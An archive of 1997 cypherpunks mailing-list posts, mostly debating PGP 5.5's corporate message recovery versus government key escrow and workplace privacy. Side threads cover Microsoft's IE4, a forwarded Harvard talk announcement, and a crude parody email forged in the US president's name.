recorded, prevent every phone call in private issues from the company.
Forbit your insurance agency to call you in the company, deny the school
attended by your children to phone you at work, if your childen is ill, ...

Somebody should thing about storing and communication. Look in the current
draft. There is a solution.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Fri, 24 Oct 1997 19:30:57 +0800
To: simpsonngan@hotmail.com
Subject: Re: Please send me some info
In-Reply-To: <19971024102659.5169.qmail@hotmail.com>
Message-ID: <9710241117.AA66926@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



> 
> I am a student of the University of New South Wales in Australia, as I 
> am going to do a research about my informayion system assignment, I am 
> mailing to request for some information.  My assignment is regarding to 
> the current examples of "use of computers to commit fraud

http://www.digicrime.com

> use of computer to commit sabotage

http://www.sabotage.org

false advertising/ claims for computer products

http://www.iemmc.org

> degradation of work as a result of computerisation; failures 
> in computerising the workplace"

http://www.microsoft.com

HTH.
 um





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 24 Oct 1997 23:40:28 +0800
To: whgiii@invweb.net
Subject: Re: Adam Back: Guardian of CP purity? (Re: puff pieces vs tough crypto issues)
In-Reply-To: <199710222322.TAA16450@users.invweb.net>
Message-ID: <199710241226.NAA01332@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger <whgiii@invweb.net> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> >I think we'd be more interested to see an analysis piece of the political
> >merits/demerits of the pgp5.5 CMR corporate message recovery technique
> >than of _toilets_.
> >
> >Where do you stand on the CMR argument?  Or are you staying away from the
> >hot potato :-)
> 
> Exactly who died and made you the guardian of Truth, Justice, and the
> Cypherpunk Way??? 

I just react to issues I think are important, or which seem
interesting to me, same as anyone else.  I happen to think this CMR
issue is important.

If you disagree, and think the CMR danger is over-rated, well speak up
please!

If you think I am a big mouth speak up too (as you have:-)

> Sometimes I think you take yourself way too seriously Adam.

Well there is always a `d' key, or one of your nifty O/S2 spam
filters.

Also I would be interested in your personal views as a PGP compatible
mail script implementor on how easy CDR is to implement
(http://www.dcs.ex.ac.uk/~aba/cdr/) with your setup.  Some people are
objecting to the difficulty of implementing it.  I think it is fairly
easy.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 24 Oct 1997 23:44:02 +0800
To: hallam@ai.mit.edu
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <01bcdf5a$4a2d3a60$06060606@russell>
Message-ID: <199710241232.NAA01339@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Phillip Hallam-Baker <hallam@ai.mit.edu> writes:
> I can understand the pressures on PGP to support key escrow. 

There is reasonable justification for key escrow, or recovery features
for _stored_ encrypted information.  The rate at which people forget
passwords alone suggests that this would be a good idea.

However the PGP design does much more than that: it allows third and
fourth parties to decrypt messages in transit.

> The problem with PGP's move is that it is the first significant
> break by the Internet software provider community. This will make it
> much easier for Netscape or Microsoft to cave in.

I think they could have implemented recovery of stored encrypted
files, and of saved email archives more easily without including
recovery information over the wire.  It's a security risk to send
recovery encrypted info over the wire encrypted to long term public
keys.

> It will also build the pressure on them.
> I wonder what would happen to Bills problem with the DoJ if he had a sudden
> change of heart. Somehow I don't see Netscape and Microsoft holding the line
> on GAK if PGP are happily exporting their product and grabbing market share.
> 
> I really did not expect Phil Zimmerman to be the first to blink.

Me either.

> I also don't understand it from the corporate perspective. PGP may be
> picking up some business in the corporate market but at the cost of
> alienating a significant part of the hacker community which has been his
> best supporter up till now. I would think his best strategy would have been
> to build on this customer base rather than sell it out at the first
> opportunity.

He could have built storage escrow with much less argument; almost no
argument in comparison I would expect.

> If Phil Z. wants to get into the Enterprise market he is going to have to
> start speaking their language. Most companies today are looking for open
> standards. PGP may have been the de facto security solution three years ago
> but the reality today is several million copies of Comminicator and Explorer
> with S/MIME built in. 

The obvious thing I think is for pgp to build systems which can
automatically interoperate with either.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Fri, 24 Oct 1997 21:39:14 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CMR versus GAK?
In-Reply-To: <199710241319.JAA06195@users.invweb.net>
Message-ID: <slrn6518rn.17j.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* William H. Geiger III wrote:
>I am not quite sure what your point is here. A company has every right to
>listen in on any phone conversation you make on their phones. There is no
>"expectation of privacy". Many companies have strict guidlines on how you

May be in your (poor) country. There is a world outside US.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 25 Oct 1997 04:09:29 +0800
To: "Paul H. Merrill" <phm@sprynet.com>
Subject: Re: Proof IE4 not an OS, was Re: Bill Gates, the Bully Savior
In-Reply-To: <3451182C.1E51@sprynet.com>
Message-ID: <Pine.LNX.3.95.971024133418.361A-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 24 Oct 1997, Paul H. Merrill wrote:

> one million monkeys typing under the pseudonym James Love wrote:
> > 
> > Nifty comment by Michael McMain on JavaLobbyCafe@iceworld.org
> > list:
> > 
> > --------------------------
> > 
> > A friend at work made an interesting point about MS's claim that IE4 is
> > simply an OS extension and not an application.  All the DA has to do is
> > turn on a Power Mac, start IE4, turn to MS and say "So what other parts
> > of your OS run on the Macintosh exactly?".
>  The MS assertion is not that IE only works within the OS.  Just that it
> is a part.
> 

This is a non-sequitor.  Any piece of the operating system that runs
idependently of the operating system is, by definition, not part of
the operating sytem.

By that definition Word and Powerpoint are part of the operating system
in lieu of their providing word-processing and presentation services to
the graphic user interface.

Operating Systems are software systems that manage local (and sometimes)
network resources.  In the case of a browser it generally just presents
network content provided by some other entity.  By this definition 
microsoft could argue that the networked version of Duke Nukem is simply
an OS extension.

To argue that IE is part of the OS is seriously twisting the definition
of OS.  When in doubt, consider "browsing" a good book on operating
systems.

I was giving M$ the benefit of the doubt, because I don't want the
government determining what is and isn't part of the OS (and I'm
not a big fan of Janet "The buck stops here" Reno.)  But when M$
starts threatening PC manufacturers with canceled 95 licenses if
they don't make the IE icon standard -- well -- thats beyond the pale.

What is the difference between that and Al Capone threatening owners
of speak-easys with knee-capitation if they sell any beer but
his?

Jim







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Fri, 24 Oct 1997 22:08:11 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CMR versus GAK? (fwd) > Right to monitor
In-Reply-To: <199710241400.JAA23475@einstein.ssz.com>
Message-ID: <slrn651agr.1b5.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Jim Choate wrote:
> -  do babysitters in your home have an inherent right to not be monitored
>    in case they harm the child?

No. Not here.

> -  do operators of vehicles on public roads have an inherent right to
>    privacy about the vehicle?

Yes. Nobody but the policy can stop them and have a deeper look.

> -  do businesses have the right to monitor the uses that their systems
>    are put to?

Yes, they can make statistics. Personal specific? No. Not here.

> -  do public officials have an inherent right to privacy about their
>    actions related to their office?

Yes. They have the right to close the door. Even for minutes.

>Does the owner of a resource have an inherent right to control that
>resource and if so what are the boundaries?

He has this right until he touchs the rights of other people. So he have not
all rights he might want.

>Does the user of a resource have rights outside the purvue of the owner
>of that resource and if so what are the boundaries?

Do you own your house? If not, why do you stop your house owner from
snooping in your flat? It's his ressource. Why do you encrypt e-mails over
your provider's lines? It's his ressource.

If privacy is outlawed in offices, nobody can work legally.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 24 Oct 1997 23:31:41 +0800
To: JonWienk@ix.netcom.com
Subject: secret sharing (Re: CDR design document)
In-Reply-To: <3.0.3.32.19971023073713.031381e0@popd.netcruiser>
Message-ID: <199710241324.OAA01401@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jon Wienke <JonWienk@ix.netcom.com> writes:
> At 10:55 PM 2/21/97 GMT, Adam Back wrote:
> >
> >Here is a proposal for consideration for inclusion in the OpenPGP
> >standard:
> >
> >	http://www.dcs.ex.ac.uk/~aba/cdr/
> 
> Great work, Adam!  Pursuant to some of the recent rants on cypherpunks, I
> would like to see a proposal for a secret sharing mechanism that would
> allow the recovery of a storage-only key with m of n shares in the event
> that the passphrase to the storage key is unavailable, with the following
> attributes:

I think PGP Inc are considering secret sharing for later versions.
Perhaps it is too much for this iteration?

Secret sharing is nice, I agree, but can be complex too: what if it's
3 of 5, and one of the 5 leaves to join a competitor, can you
redistribute the share without creating a new key without losing
security?  What new packets would be required, etc.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William J. Clinton" <president@whitehouse.gov>
Date: Fri, 24 Oct 1997 12:47:46 +0800
To: Randall Farmer <rfarmer@HiWAAY.net>
Subject: NSA Job Offer
Message-ID: <199710023438.AAA04797@whitehouse.gov>
MIME-Version: 1.0
Content-Type: text/plain



Dear Randall

I saw your post on the cypherpunks list debunking the
forgery of my good friend Phill Zimmerman. As you are
no doubt aware my Deputy Director of the NSA retired
recently and I've decided that Barbie is no longer suitable
following certain uncomplimentary remarks she made
after a fireside shagging^H^H^H^Hchat we had last night.
I am therefore looking for a supersluth to fill this
challenging position. If you would be interested in
taking the bit between your teeth, so to speak, please
email me and we'll do lunch.

--
Bill C.
"The next person who mentions my penis gets an ICBM up their ass"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brandon Crosby <bcrosby@mncs.k12.mn.us>
Date: Sat, 25 Oct 1997 04:01:55 +0800
To: cypherpunks@toad.com
Subject: Re: Proof IE4 not an OS, was Re: Bill Gates, the Bully Savior
Message-ID: <199710241936.OAA01975@ted.mncs.k12.mn.us>
MIME-Version: 1.0
Content-Type: text



> > A friend at work made an interesting point about MS's claim that IE4 is
> > simply an OS extension and not an application.  All the DA has to do is
> > turn on a Power Mac, start IE4, turn to MS and say "So what other parts
> > of your OS run on the Macintosh exactly?".
> 
> The MS counter-assertion is not that IE is not a stand-alone piece of
> software, just that it is a part of the OS.
> 

Odd thing, in fact. Of course, Win95 and Mac are almost the same. They
run with all of the same controls, near exact features and functions.

It should also be noted that while most Netscape releases come out on Win95
first, Mac versions are never far away. For that matter, Netscape has also
been ported to X-Win.

Does this mean Win is a Mac copy? Absolutely. Does it mean M$ is bad?
Depends. MCI and Sprint provide the same service that AT&T used to, but
with minor changes. Microsoft has done the same.

Fare trade? Inability to place money into research&development? A sublime
desire to have that apple pie that was gone by the time he got to it?
Who knows what ethics are in Mr. Gates mind.

-Brandon Crosby





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 25 Oct 1997 03:09:12 +0800
To: cypherpunks@cyberpass.net
Subject: FYI: Tygar talk on Monday, November 3 at Harvard
Message-ID: <v03110712b0769c54a9b0@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: kentborg@pop.tiac.net
Date: Fri, 24 Oct 1997 11:42:25 -0400
To: Robert Hettinga <rah@shipwright.com>
From: Kent Borg <kentborg@borg.org>
Subject: FYI: Tygar talk on Monday, November 3 at Harvard
Mime-Version: 1.0

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Having recently come out of retirement (my temporary early
retirement, longer than I would have dreamed I could have pulled off,
was wonderful), I have not hit upon a smooth stride in my email
reading techniques.  Riding the bus (most) every day means that I am
going to be running up to date on my Herald Tribune, Economist, Byte,
Science News, Scientific American, etc., but I am behind on such
things as the DCSB mailing list.

So I don't know whether this has gone by on the list, you might want
to send it out:

>From: rivest@theory.lcs.mit.edu (Ron Rivest)
>Date: Fri, 24 Oct 97 11:29:49 EDT
>To: cis-seminars@theory.lcs.mit.edu
>Subject: FYI: Tygar talk on Monday, November 3 at Harvard
>
>
>
>                              Harvard University
>                    Computer Science Colloquium Series
>
>                     Atomicity in Electronic Commerce
>
>                             Doug Tygar
>                       Computer Science Department
>                       Carnegie Mellon University
>
>                        Monday, November 3, 1997
>                                4  PM
>                           Pierce Hall 209
>                       (Tea at 5 pm Brooks Room)
>
>
>Abstract
>
>The explosion of the Internet has brought with it a
>desire to allow information goods to be bought or sold
>over the network.  Several schemes for realizing this
>have been proposed over the last year, and there are a
>number of commercial ventures to support electronic
>commerce.
>
>In the first part of this talk, I examine several
>protocols for electronic commerce from the perspective
>of the distributed transactions.  Most models of
>electronic commerce have presumed a highly-available
>error-free network.  I argue for a more realistic model
>of commerce using notions of atomicity in electronic
>commerce, and propose three levels of atomic
>transactions.  I will discuss how to exploit network
>failures to explicitly attack commercially used
>protocols and fraudulently obtain goods or money.
>
>In the second part of the talk, I will discuss two very
>different approaches to achieving high degrees of
>atomicity:  the first, an internet billing system
>called NetBill is being used to allow highly atomic
>microtransactions of information goods.  This
>technology has recently been licensed for commercial
>use.  The second approach, Information Based Indicia,
>uses secure coprocessor hardware to ensure atomicity,
>and is being adopted by the US Postal Service to
>address their problem of theft of postage through
>counterfeit postage indicia.
>
>
>Host: Professor Michael Rabin
>
>
>
>
>
>
>
>
>
>
>
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNFDB4dL/GwYma/g5EQIziQCbBjVOiEzn11yQKX0htHS2cVCPZJ8AoMXM
aMpfEIV0cYxcgdmFgLV0gmD6
=jeyE
-----END PGP SIGNATURE-----


--
Kent Borg                           kentborg@borg.org
W: +1-781-768-2300 x1741           H: +1-617-776-6899
  "The creative instinct has always been a stronger
   motive than mere profit to do truly new and
   revolutionary things."
                                        - Phil Karn

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 24 Oct 1997 23:34:51 +0800
To: kent@bywater.songbird.com
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <19971022174359.10769@bywater.songbird.com>
Message-ID: <199710241342.OAA01491@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@bywater.songbird.com> writes:
> It may be less obvious, but despite what PGP claims, a significant
> fraction of this demand is for the ability to SNOOP, and not just data
> recovery.  

I was suspicious about this also, the CMR design makes much more sense
if this is the user requirement.  Binding cryptography also would make
sense for this requirement.

But the last time I expressed this suspicion on this list Jon Callas
clearly stated that this was not the case:

Jon Callas <jon@pgp.com> writes:
:    It is possible that
:    there is an unstated perceived user requirement, that the messaging
:    standard be able to allow third party access to the communications
:    traffic directly.
: 
: Nope, that's not what we're arguing for. 

So it would appear that your suspicious are unfounded...

> *All* the debate on this list implicitly takes the employee's side,
> not the management's side, and that is a serious lack.  The
> unpleasant fact is that managers NEED TO BE ABLE TO SNOOP.

Okay!  Some one who is able to say the unpleasant words.  (I think
Lucky may have been hinting at this also).

If this is the case, I reckon it's still better to just escrow their
comms keys locally.  Put them all in the company safe, whatever.  To
go with this kind of a company with this kind of policy, I would
presume that sending or receiving super-encrypted messages would would
be a sackable offense.

However, there is an alternate reason for the CMR design, which you
don't include above (tho' you did I think discuss this earlier):

That PGP Inc thought CMR would be easier to implement within their
plugin API, and dual function crypto (file encryption, and email
encryption), and to cope with things like encrypt-to-self on Cc: to
self to keep copies.

> It is terrible to work for an employer who will snoop, but it is 
> just as terrible to have dishonest employees.  It doesn't take a 
> genius to realize that the existence of dishonest employees is a
> primary motive for management snooping.

Even with snoopware such as you describe, and companies with such
attitudes, there are other similarly easy ways to get data out: user
walks out of building with floppies.  In fact from memory I think this
was one you suggested: "frisbee DAT tape out of window to sweetheart"
or words to that effect.

> Clearly, there are some organizations for which this is more
> important than others -- financial services companies are only the
> most obvious example.

Maybe.  If PGP Inc want to go this far, and design software with these
features, I reckon local key escrow is better.  However that is not
what they are saying.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 24 Oct 1997 23:55:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <199710222045.WAA03143@basement.replay.com>
Message-ID: <199710241344.OAA01496@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous <nobody@replay.com> writes:
> Tim May <tcmay@got.net> writes:
> >Agreed. What amazes me is how PGP, Inc. would decide this should be a core
> >part of their company. "PGP for Business," indeed. What were they thinking?
> 
> Um, maybe that they wanted to stay in business?

No, that's not it.  Storage key recovery or storage data recovery
meets their corporate user requirement for recovery of stored data,
and archived old emails easily.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <phm@sprynet.com>
Date: Sat, 25 Oct 1997 03:09:00 +0800
To: James Love <love@cptech.org>
Subject: Re: Proof IE4 not an OS, was Re: Bill Gates, the Bully Savior
In-Reply-To: <v02140b0bb04c1c1277c7@[206.221.201.7]>
Message-ID: <3451182C.1E51@sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain



James Love wrote:
> 
> Nifty comment by Michael McMain on JavaLobbyCafe@iceworld.org
> list:
> 
> --------------------------
> 
> A friend at work made an interesting point about MS's claim that IE4 is
> simply an OS extension and not an application.  All the DA has to do is
> turn on a Power Mac, start IE4, turn to MS and say "So what other parts
> of your OS run on the Macintosh exactly?".
 The MS assertion is not that IE only works within the OS.  Just that it
is a part.

PHM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 24 Oct 1997 23:57:04 +0800
To: spencer_ante@webmagazine.com
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <88256538.00787D24.00@pcwhub.pcworld.com>
Message-ID: <199710241357.OAA01507@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




spencer_ante@webmagazine.com writes:
> As a person whose been at work on a very long feature about PGP Inc. for
> Wired, I can tell you that businesses really don't care that much about
> PGP's civil liberties advocacy. 

The suits in charge might not, but many of the security or network
people might.  Technical advice on which product is best suited for
corporate computer and email security often comes from such people.

> In fact, its rep could hurt as much as help them. The Fortune 500 is
> much more pragmatic: They want solutions that work, that help them
> maintain security for their intellectual property and capital. To
> that extent, PGP 5.5--which enables IS directors to manage a public
> key infrastructure and enforce company-wide security policies-- is a
> step in the right direction.

Hmmm.  You can have storage data recovery without allowing third and
fourth parties to read what goes over the wire.  Sending recovery info
with the mesage is bad security practice anyway, especially when the
keys are long term keys.

> And one major thing that needs to be pointed out: PGP's key recovery
> system is *voluntary and private*--not mandatory 

So was clipper remember?  "It's voluntary, read my lips" said the
politicians.  Then a few FOIA's later we found out they were planning
for it to be mandatory all along.  Freeh is calling for mandatory now,
with comments like "if voluntary doesn't work, we may be seeking
mandatory escrow."  It's just a tactic, it's obvious that the
government wants mandatory.  Clearly he will argue that it doesn't
work once he gets a "voluntary" system.  He'll probably engineer an
example of it not working, if a suitable case doesn't arise by itself
in a timely manner.

> and gov.  controlled, which is what the Feds and Louis Freeh have
> been pushing for.

It's not government controlled true.

> One potential positive side effect of PGP 5.5 is that it could
> realign the crypto debate and force people to consider this
> question: Whose back door should netizens be more worried about: Big
> Brother or The Boss?

Big Bro, any day.

But it is not quite that stark because there is a subtly which appears
to be being missed:

  governments want real time access to _communications_

Companies want:

  availability of _stored data_ 
  disaster recovery procedures for encrypted stored data 

(where disaster is sudden death of employee, or employee forgetting
passphrase).

This difference allows you to develop systems which are resistant to
government key grabbing efforts, which at the same time allow
companies disaster recovery plans for encrypted stored data.

PGP's system is too neutral in this respect.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 24 Oct 1997 23:35:49 +0800
To: kent@bywater.songbird.com
Subject: Re: puff pieces vs tough crypto issues (Re: Singapore TOILET ALERT)
In-Reply-To: <19971022174848.58494@bywater.songbird.com>
Message-ID: <199710241403.PAA01514@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@bywater.songbird.com> writes:
> Declan writes:
> > I agree that PGP 5.5 doesn't meet the FBI's demand for realtime access. But
> > it can be used as a waving-around-on-the-House-floor prop to pass a law
> > that requires mandatory key escrow.
> 
> They could wave around TIS's products (designed by noted cypherpunk
> Carl Ellison, I believe), or NorTel's Entrust, just as well.  Hell, in
> a few months they may be able to wave around Adam Backs CDR product,
> which also facilitates GAK -- access to communications is worse than
> access to data, by some measure, but the LEA's will certainly be
> grateful to Adam for his legitimization of Key Escrow... 

I think there is a large difference between storage key recovery and
message key recovery.  Also a difference between message key recovery
and including information with the message allowing it to be recovered
by fourth parties.

Yes, governments would like to come take your disk, but they've got to
come and get it first.  And when they get there they may find you are
not using GAKked keys on your disk encryption.  They won't know until
they try.  With email GAK and recovery info with the email, they can
tell from remote snooping if you are cheating.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Sat, 25 Oct 1997 03:20:18 +0800
To: James Love <love@cptech.org>
Subject: Re: Proof IE4 not an OS, was Re: Bill Gates, the Bully Savior
In-Reply-To: <v02140b0bb04c1c1277c7@[206.221.201.7]>
Message-ID: <34511B83.7EF4@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



James Love wrote:
> 
> Nifty comment by Michael McMain on JavaLobbyCafe@iceworld.org
> list:
> 
> --------------------------
> 
> A friend at work made an interesting point about MS's claim that IE4 is
> simply an OS extension and not an application.  All the DA has to do is
> turn on a Power Mac, start IE4, turn to MS and say "So what other parts
> of your OS run on the Macintosh exactly?".

The MS counter-assertion is not that IE is not a stand-alone piece of
software, just that it is a part of the OS.

(Personnally I can't stand it.)

PHM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 24 Oct 1997 23:32:48 +0800
To: declan@well.com
Subject: Re: (Fwd from f-c) Note from PGP employee on MRK
In-Reply-To: <v03007808b074685bfedd@[204.254.21.122]>
Message-ID: <199710241417.PAA01525@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Declan <declan@well.com> forwards:
> >A friend of mine by the name of Jason Bobier <jason@pgp.com> happens
> >to work at PGP, Inc.  I'll preface his comments by pointing out that
> >I'm sure he doesn't speak for the company in any way.
> >
> >> Unfortunately these people just don't get it. Corporations refused
> >> to buy 5.0 because it did not have any way for the corps to get at
> >> email encrypted to their employees. There are some very legitimate
> >> uses of this, such as when an employee dies and someone else has
> >> to take over for them.

When someone dies, it seems to me that you are interested to get at
the archived email primarily, not the odd new emails which is
addressed to that employee.

Regardless, even if you did want to allow the company to be able to
spot check emails arriving for the employee it would simpler, to just
give the employees key to the company.  PGP employees seem to get
upset if you suggest giving companies copies of employess keys -- but
really what difference does it make if the company can read messages
addressed to you with their own key or with your key.

(Clearly in either case you can by pass the whole setup with
superencryption, or just by walking out of the building with a DAT
tape).

> >> Without corps buying the product, there is no PGP, Inc., and thus
> >> no dedication of resources to the production of PGP. This leads us
> >> back to the floundering state of development that PGP was in
> >> before 5.0.

Right.  So implement storage recovery, that's what the corp wants to
protect: data availability.

> >> They also don't seem to realize that you always have the ability
> >> to remove the MRK from your list of recipients.

However, in some circumstances this ability doesn't help you much:
because if the recipient is working for a company running pgp5.5 set
up strictly, it'll bounce your mail unless you keep the "MRK" on the
list of recipients.

> >> Sometimes I really feel like screaming at these people. _All_ of
> >> the developers at PGP are personal privacy zealots and no one
> >> likes the idea of the MRK. That is why we refuse to make them
> >> required. 

The SMTP policy enforcer which bounces mails which don't have extra
CMR crypto-recipients seems to fly in the face of your claimed
refusal.

Yes you can hack around it, yes it's optional, but PGP Inc wrote it,
and provides facilities to enforce this behaviour for those that chose
to use it in that mode.

> >> It is also why there still are freeware and personal
> >> versions of the product. 

pgp5.5 freeware/personal use also knows how to comply with CMR request
from someone using a company account with policy enforcer, and
strict settings.

> >> I wish they would just realize that we
> >> aren't some evil group of people that are solely plotting how to
> >> make the most money off of this. Most everyone at PGP has
> >> internalized personal privacy as a cause (actually most had it
> >> before they joined PGP).

I'm not sure that many people have accused PGP of being "evil" or
plotting to sell us out for money.

What many have said though is that there are better ways to implement
corporate data recovery disaster recovery procedures than PGP have
implemented; ways which are much more resistant to abuse by
government.

There isn't that much objection to companies having what ever access
they want; certainly not much for data recovery.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 24 Oct 1997 23:36:22 +0800
To: shamrock@netcom.com
Subject: Re: Technical Description of PGP 5.5
In-Reply-To: <3.0.2.32.19971022210316.00727944@netcom10.netcom.com>
Message-ID: <199710241425.PAA01534@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green <shamrock@netcom.com> writes:
> Anybody with half a brain, a copy of perl, and the PGP 5.0 source from
> http://www.pgpi.com/ could write a similar filter in a matter of hours.

Agreed.  But PGP Inc may be able to deploy their system better than
some lone hacker is able to deploy a perl hack.  And deployment of
pgp5.5 / 5.0 is required to provide automatic interoperability for
this.

(Yes I know you could bounce the mail, and demand a Cc: snoop@acme.com
to go with all mails to fred@acme.com, and use a lot of pgp2.x setups
to auto-encrypt to those recipients with pgp2.x crypto recipients, but
this is not as convenient).

> I am going to install PGP's SMTP filter on my box. To make it impossible to
> accidentally send unencrypted mail to certain people. :-)

Fine, a good, entirely separable functionality.

> >To make that a bit stronger, it seems like *any* model that uses 
> >persistent encryption keys essentially enables CMR-like functionality 
> >in a smtp filter -- it could be done using pgp 2.6.
> 
> Correct. But this isn't going to stop people from complaining.

You are right, it's not.

Just because things are possible, doesn't mean you should _do_ them,
nor attempt to massively deploy them.

If the pgp5.5 functionality is designed to provide companies with a
disaster recovery procedure (forgotten passphrase, or dead employee),
there are much better ways to do it.  We're not arguing against the
user requirement, just against the methodology.

> PGP 5.5 is considerably better than PGP 5.0. The LDAP support alone
> is reason to upgrade. The UI is improved and if you don't want to
> use message recovery, just don't turn it on.

Sure, that works.  For now.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

